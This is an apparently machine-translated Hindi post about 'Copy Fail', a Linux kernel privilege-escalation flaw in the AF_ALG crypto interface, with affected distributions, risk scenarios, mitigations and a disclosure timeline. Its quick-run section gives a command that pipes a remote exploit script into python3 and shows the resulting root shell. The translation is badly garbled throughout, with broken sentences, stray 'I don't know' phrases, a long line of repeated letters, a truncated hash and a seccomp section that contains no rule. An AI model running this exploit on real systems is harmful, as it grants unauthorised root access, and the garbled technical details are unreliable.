हिन्दी

← सूची पर वापस जाएँ

लिनक्स को मारने के लिए 732 बाइट: एपिक लूपहोल लगभग दस साल दूर है।

itadol5j

Fail loophole

पोएट्री लूपहोल: 732 बाइट्स ने सभी लिनक्स को मार दिया, लगभग 10 साल तक घूमना

A name."कॉपी असफल"लिनक्स (CVE-2026-314331) का कर्नेल सार्वजनिक रूप से खुलासा किया गया था:

  • 732 बाइट्सपायथन स्क्रिप्ट
  • 100% विश्वसनीयकोई प्रतिस्पर्धी खिड़की या कर्नेल ऑफसेट
  • सभी लिनक्स रिलीज़ संस्करण को प्रभावित करें(2017 से तारीख)
  • कंटेनर बच जाता है।क्रॉस-टेंडेंट हमले।
  • मैं लगभग 10 साल तक घूम रहा हूँ।29 अप्रैल 2026 तक

में एक ही स्क्रिप्टउबंटू, आरएचईएल, अमेज़ॅन लिनक्स, एसयूएसईदोनों वैध हैं - कोई परिवर्तन की आवश्यकता नहीं है।

♪ छेद का मूल ♪

एकल तर्क दोष

प्रतिलिपि Fail एक हैसीधी रेखा तार्किक दोष:

  • कोई प्रतियोगी विंडो की आवश्यकता नहीं हैअधिकांश लिनक्स LPE के विपरीत, आपको प्रतिस्पर्धा करने की आवश्यकता है।
  • कोई कर्नेल ऑफसेट आवश्यक नहीं है।कोई विशिष्ट कर्नेल ऑफसेट आवश्यक नहीं है
  • 100% विश्वसनीयअन्य आयोजक
  • समान स्क्रिप्ट: सभी वितरण के लिए मान्य

होल श्रृंखला।

Fail हमला श्रृंखला कॉपी करें:

  • तार्किक त्रुटि: एक तार्किक बग
  • AF ALG: कर्नेल क्रिप्टो एपीआई के माध्यम से
  • मसाला: चेन कॉल
  • 4 बाइट पेज कैश लेखन: मूल भाषा पर अंतिम हमला
  • लगभग 10 साल के लिए उपलब्ध2017 से पैच रिलीज़

• प्रभाव का दायरा

आधिकारिक तौर पर प्रमाणित रिलीज

रिलीज कर्नेल संस्करण स्थिति
उबंटू 24.04 LTS 6.17.0-1007-aws सत्यापित
अमेज़न Linux 2023 6.18.8-9.213. amzn 2023 सत्यापित
आरएचईएल 10.1 6.12.0-124.5.1.el10 1 सत्यापित
एसयूएसई 16 6.12.0-16000.9-default सत्यापित

अन्य प्रभावित संस्करण

निम्नलिखित संस्करणवही।:

  • डेबियन।
  • आर्क Linux
  • फेडोरा।
  • रॉकी लिनक्स
  • अल्मालिनक्स
  • ओरेकल लिनक्स
  • एम्बेडेड लिनक्स

निष्कर्षयदि आपका कर्नेल 2017 और पैच के बीच बनाया गया है ...आप प्रभावित हैं।मुझे नहीं पता।

उच्च जोखिम परिदृश्य

दृश्य जोखिम प्रभाव
एकाधिक किरायेदार Linux होस्ट उच्च कोई भी उपयोगकर्ता रूट हो जाता है
Kubernetes / कंटेनर क्लस्टर उच्च क्रॉस-कंटेनर, क्रॉस-टेनेंट हमले
CI धावक / फार्म का निर्माण उच्च पीआर रनर की जड़ बन जाता है
क्लाउड सास उपयोगकर्ता कोड चल रहा है उच्च किरायेदार मेजबान जड़ बन जाता है
स्टैंडर्ड लिनक्स सर्वर मध्यम आंतरिक एलपीई, चेन हमला।
एकल उपयोगकर्ता नोटबुक कम पोस्ट घुसपैठ कदम

शमन

विकल्प 1: कर्नेल का अद्यतन (अनुशंसित)

शामिल करने के लिए कर्नेल अद्यतन करेंमैं माफ़ी हूँ, मेनलाइन समूह a664bf3d603dअन्य आयोजक

  • सम्पर्क करने का विवरणUndo algif 2017 में जगह अनुकूलन आगे
  • प्रभाव: पेज कैश पेज अब लिखने योग्य नहीं है
  • स्थिति: अधिकांश मुख्य संस्करण ने पैच जारी किया है

विकल्प 2: अक्षम algif aead मॉड्यूल (अस्थायी)

# 禁用 algif_aead 模块
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true

आगे बढ़ने के प्रभाव को अक्षम करें

घटक प्रभाव
Dm-crypt/LUKS कोई प्रभाव नहीं
KTLS / IPsec कोई प्रभाव नहीं
OpenSSL / SSH कोई प्रभाव नहीं
AF ALG userspace संभावित प्रभाव

निष्कर्ष: अधिकांश प्रणालियों के लिए algif aead अक्षम करेंस्पष्ट प्रभाव नहीं।मुझे नहीं पता।

कार्यक्रम 3: सिकम्प स्टॉप एएफ एएलजी

अविश्वसनीय कार्य भार (कंटेनर, सैंडबॉक्स, सीआई) के लिए, एएफ एएलजी सॉकेट को बनाने से रोकें:

# 检查 AF_ALG 使用
lsof | grep AF_ALG
ss -xa

A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-A-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-E-

पीओसी को सत्यापन प्रणाली के लिए सार्वजनिक बनाया गया है:

क्विक रन

$ curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)

पीसी विवरण

  • फाइल साइज:732 bytes
  • भाषाकेवल अजगर 3.10+ stdlib
  • डिफ़ॉल्ट लक्ष्य:/usr/bin/su
  • SHA256A567d09b15f6e4440e70c9f2a8edec8ed59f53301952df05c7a3911687f9

चेतावनी: स्क्रिप्ट द्विआधारी के पृष्ठ आकार को बदलने के लिए; पुनः आरंभ करने के बाद परिवर्तन नहीं रहता है, लेकिन रूट शेल वास्तविक है। उत्पादन वातावरण में नहीं चल रहा है।

• समय रेखाओं का प्रकटीकरण

तारीख आयोजन
2026-03-23 Linux कर्नेल सुरक्षा टीम को रिपोर्ट
2026-03-24 प्रारंभिक पुष्टि
2026-03-25 पैच प्रस्ताव और लेखा परीक्षा
2026-04-01 पैच tomainline
2026-04-22 CVE-2026-314331 वितरण
2026-04-29 सार्वजनिक प्रकटीकरण

संस्थापक: Xint कोड

होल द्वाराXint कोडस्थापित:

  • समयलगभग 1 घंटे स्कैन लिनक्स क्रिप्टो / सबसिस्टम
  • विधि: AI संचालित कोड ऑडिट
  • पूर्ण विश्लेषण: रूट कारण, आरेख, impraator कार्यक्रम
  • अन्य निष्कर्षअन्य उच्च स्तरीय आलोचना अंतरालों की भी पहचान की जाती है और अभी भी प्रकटीकरण के लिए समन्वित किया जा रहा है

Xint कोड

  • 0-day RCEज़ीरोडे क्लाउड, स्वीप डेटाबेस श्रेणियां (Redis, PostgreSQL, MariaDB)
  • DARPA AuxCC शीर्ष 3Darpa AI साइबर चैलेंज फाइनल
  • DEF CONCTF 9xDEF CON CTF इतिहास में विजेता टीम

सारांश

कॉपी फेल (CVE-2026-314331)एपिक लिनक्स कर्नेल होल:

  • 732 बाइट किल ऑल लिनक्स (2017 से)
  • 100% विश्वसनीयता, एकल तार्किक दोष
  • कंटेनर भागने। क्रॉस-डिटेनर हमले।
  • यह 29 अप्रैल 2026 तक लगभग 10 साल तक घूम रहा है।
  • उच्च जोखिम परिदृश्य: बहु-वर्तमान घर स्वामित्व मशीन, कंटेनर क्लस्टर, CI धावक, SaaS
  • शमन: अद्यतन या प्रतिबंध कर्नेल algif aead
  • संस्थापक: Xint Code, AI ड्राइवर ऑडिट

लगभग एक दशक के एपिक होल, एक स्क्रिप्ट सभी लिनक्स को मार देती है।

फ्रैगमेंटेशन नेटवर्क:https://copy.fail

गिटहब पीओसी:https://github.com/theori-io/copy-fail-CVE-2026-314331

तकनीकी विश्लेषण:https://xint.io/blog/copy-fail-linux-distribution

कर्नेल पैच:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5